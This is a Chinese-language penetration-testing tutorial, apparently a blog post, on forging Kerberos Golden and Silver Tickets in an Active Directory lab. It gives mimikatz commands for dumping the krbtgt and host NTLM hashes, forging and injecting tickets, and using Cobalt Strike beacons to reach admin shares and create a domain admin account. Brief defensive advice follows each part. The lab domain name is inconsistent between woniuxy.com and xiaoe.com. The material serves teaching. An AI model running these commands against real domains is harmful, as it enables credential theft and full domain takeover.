本文最后更新于 2024-07-26,文章内容可能已经过时。

黄金票据伪造

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、原理概述

在与认证过程中,经过 Client 与 AS 的通信会得到 TGT,有了 TGT 就可以向 TGS 请求访问对应 Server 资源的票据。当攻击者获取

krbtgt 的NTLM Hash值就伪造自己的 TGT ,而这个 TGT 就是常说的黄金票据。而我们拥有了黄金票据,就可以直接向 TGS 服务请求 Ticket ,而不用经过 AS 认证。

(AS 负责生成黄金票据,TGS负责生成白银票据。)

image-20220314153951997

image-20220228162958737

image-20240622222350164

二、 制作黄金票据

前提条件 : 获取域控主机的控制权 ,获取域控中的一个默认账户(krbtgt)的NTLM数据

1、实验环境

域 :woniuxy.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.92.138)

域内计算机 :Windows 7 (IP:192.168.92.141)

普通域用户 :zhangsan

Windows 密码获取工具 :mimikatz.exe

2、 利用过程

1、首先我们需要获取域控的krbtgt的 NTLM Hash,此处直接登录域管理员账号后使用 mimikatz 导出。

打开mimikatz,输入命令查看krbtgt 的 Hash:

mimikatz lsadump::dcsync /domain:xiaoe.com /user:krbtgt
Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   : 
Password last change : 2024/6/20 21:33:51
Object Security ID   : S-1-5-21-1443003717-4130318662-4279967973-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: f8fae58283cc989b111a02a04c8a7ad2
    ntlm- 0: f8fae58283cc989b111a02a04c8a7ad2
    lm  - 0: 8c9459e509067a8649fa7fcc6745fbd2
  
  
# 可见Hash NTLM为f8fae58283cc989b111a02a04c8a7ad2

image-20240622224053141

image-20240622223455684

mimikatz lsadump::dcsync /domain:xiaoe.com /user:administrator

image-20240622224217453

image-20240622224311918

2、登录普通用户账号,删除缓存票据,查看域SID。

先查看下票据,发现有许多普通账户。

image-20240622224411919

删除缓存票据:

kerberos::purge
kerberos::list

image-20240622224441729

域SID为用户SID的前面部分:

这里的域SID显示为:S-1-5-21-1443003717-4130318662-4279967973

image-20240622224741419

3、制作黄金票据。

kerberos::golden /user:普通域用户 /domain:域 /sid:域的SID /krbtgt:krbtgt的NTLM_Hash /ticket:自定义黄金票据的名字


mimikatz kerberos::golden /user:zhangsan /domain:xiaoe.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /krbtgt:f8fae58283cc989b111a02a04c8a7ad2 /ticket:xiaoe_golden.ticket

image-20240622225933056

image-20240622230514851

成功导出票据文件:

image-20240622233142300

4、导入票据并测试。

没导入票据前查看域服务器C盘文件:

image-20240622230825613

使用命令导入票据获取权限:

kerberos::ptt xiaoe_golden.ticket 

mimikatz kerberos::xiaoe_golden.ticket

而后使用普通账户查看域服务器C盘文件 :

image-20220301110902391

创建域管账号hacker:

image-20220314153902970

在域控主机上查看用户,已成功创建hacker

image-20240622233056761

三、在CS中制作黄金票据

1、选择域控主机,生成黄金票据:

填入用户名和域名加上前文获取的域的SID和krbtgt的hash值即可生成黄金票据。

image-20240622233024593

image-20240622233449871

在beacon中的输出结果如下:

[06/22 23:34:55] beacon> mimikatz kerberos::golden /user:zhangsan /domain:xiaoe.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /krbtgt:f8fae58283cc989b111a02a04c8a7ad2 /endin:480 /renewmax:10080 /ptt
[06/22 23:34:56] [*] Tasked beacon to run mimikatz's kerberos::golden /user:zhangsan /domain:xiaoe.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /krbtgt:f8fae58283cc989b111a02a04c8a7ad2 /endin:480 /renewmax:10080 /ptt command
[06/22 23:34:56] [+] host called home, sent: 297586 bytes
[06/22 23:34:57] [+] received output:
User      : zhangsan
Domain    : xiaoe.com (XIAOE)
SID       : S-1-5-21-1443003717-4130318662-4279967973
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: f8fae58283cc989b111a02a04c8a7ad2 - rc4_hmac_nt    
Lifetime  : 2024/6/22 23:34:56 ; 2024/6/23 7:34:56 ; 2024/6/29 23:34:56
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'zhangsan @ xiaoe.com' successfully submitted for current session

2、运行命令访问其他主机

shell dir \\god-111\c$

image-20240622233609494

如果能成功访问,则说明黄金票据伪造成功,可以任意横向移动到其他域主机。

四、防御方法

(1) 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机,将所有其他权限委派给自定义管理员组。降低攻击者访问域控制器的Active Directory的ntds.dit文件的可能。

(2) 定期更改krbtgt账户的密码。

白银票据伪造

白银票据

一、原理概述

在请求票据发放过程中,Client 与 TGS 通信获取 Ticket,拥有 Ticket 就可以访问对应 服务器资源。而当攻击者拥有Server NTLM Hash时,就可以伪造一个 Ticket,直接与 Server 通信,让其验证。当然,如果能获取到域控主机的Hash,也相当于可以获取到域控权限。

image-20220228163619952

二、制作白银票据

1、实验环境

域 :woniuxy.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.92.138)

域内计算机 :Windows 7 (IP:192.168.92.141)

普通域用户 :zhangsan

Windows 密码获取工具 :mimikatz.exe

2、利用过程

拿下 Win7 --> 入侵域控 (2008) -->制作白银票据(权限维持) (2003、2008、Win7 或者域内的任何一台主机)

(1)域信息获取。

首先我们需要获取服务器的 NTLM Hash(此处直接使用域管理员账号登录域中的服务器后使用 mimikatz 导出):

privilege::debug  //提升权限
sekurlsa::logonpasswords //抓取密码

# CS中使用  
mimikatz sekurlsa::logonpasswords //抓取密码
2cbe963d0d877c8cc7d09c936f1c3b33

image-20240623013231304

查看服务器主机名:

win7.xiaoe.com(WIN7)

image-20240623013303862

查看域SID:

S-1-5-21-1443003717-4130318662-4279967973

image-20240623013452216

(2)清空客户端缓存票据。

image-20240623014015320

(3)客户端伪造白银票据并导入,然后完成测试。

伪造票据前访问服务器C盘:

image-20220302102543519

伪造票据并直接导入内存:(此处使用cifs服务来验证)

kerberos::golden /domain:域 /sid:域SID /target:目标服务器主机名(全名,要带域名) /service:服务类型 /rc4:Server主机的NTLM_Hash /user:用户名 /ptt
a839d32c781706e289e7786a4b9c684e     2003
ec2138b1ea4134448fc04c286f4edf3c     2008
e42e417e04d43db0d793b37a2d2a1a7b     win7

# 清空票据
mimikatz kerberos::purge

//生成白银票据
mimikatz kerberos::golden /domain:woniuxy.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /target:web.xiaoe.com /service:cifs /rc4:e42e417e04d43db0d793b37a2d2a1a7b /user:zhangsan /ptt

image-20240623020112276

访问服务器C盘:

image-20240623014303011

与之相应的逻辑,如果获取到的是域控主机的NTLM,那么同样可以拿下域管理员权限,比如用以下命令制作白银票据。

kerberos::golden /domain:xiaoe.com /sid:S-1-5-21-265030030-3466757011-2842256786 /target:dcadmin.xiaoe.com /service:cifs /rc4:f76b96a6f4799cc755de30740750a782 /user:zhangsan /ptt

三、在CS中使用白银票据

1、制作白银票据的过程仍然使用mimikatz命令即可,或者使用谢公子插件:

image-20230817124323187

2、访问LDAP服务获取krbtgt账户Hash值制作黄金票据:

mimikatz kerberos::golden /domain:xiaoe.com /sid:S-1-5-21-1443003717-4130318662-4279967973 /target:web.xiaoe.com /service:LDAP /rc4:f8fae58283cc989b111a02a04c8a7ad2  /user:zhangsan /ptt


mimikatz lsadump::dcsync /dc:web.xiaoe.com /domain:xiaoe.com /user:krbtgt

确认在Credentials中存在krbtgt的Hash值:

image-20230817124620735

3、利用krbtgt构造黄金票据

image-20230817124904052

填入正确的信息:

image-20240622233449871

构造成功的提示如下:

image-20240623020732768

此时,运行 shell dir \\web.xiaoe.com\c$拿下域控权限。

image-20240623020809174

所有在CS中操作Mimikatz的命令,均需要提权至管理员或SYSTEM权限。

四、防御方法

(1)开启PAC的特权属性证书保护功能,开启PAC后,Server会将Client发送过来的票据Ticket发给KDC,由KDC来进行验证Ticket是否有效。

参考:https://cloud.tencent.com/developer/inventory/5057/article/1595624

https://blog.51cto.com/chenjiangfeng/5707611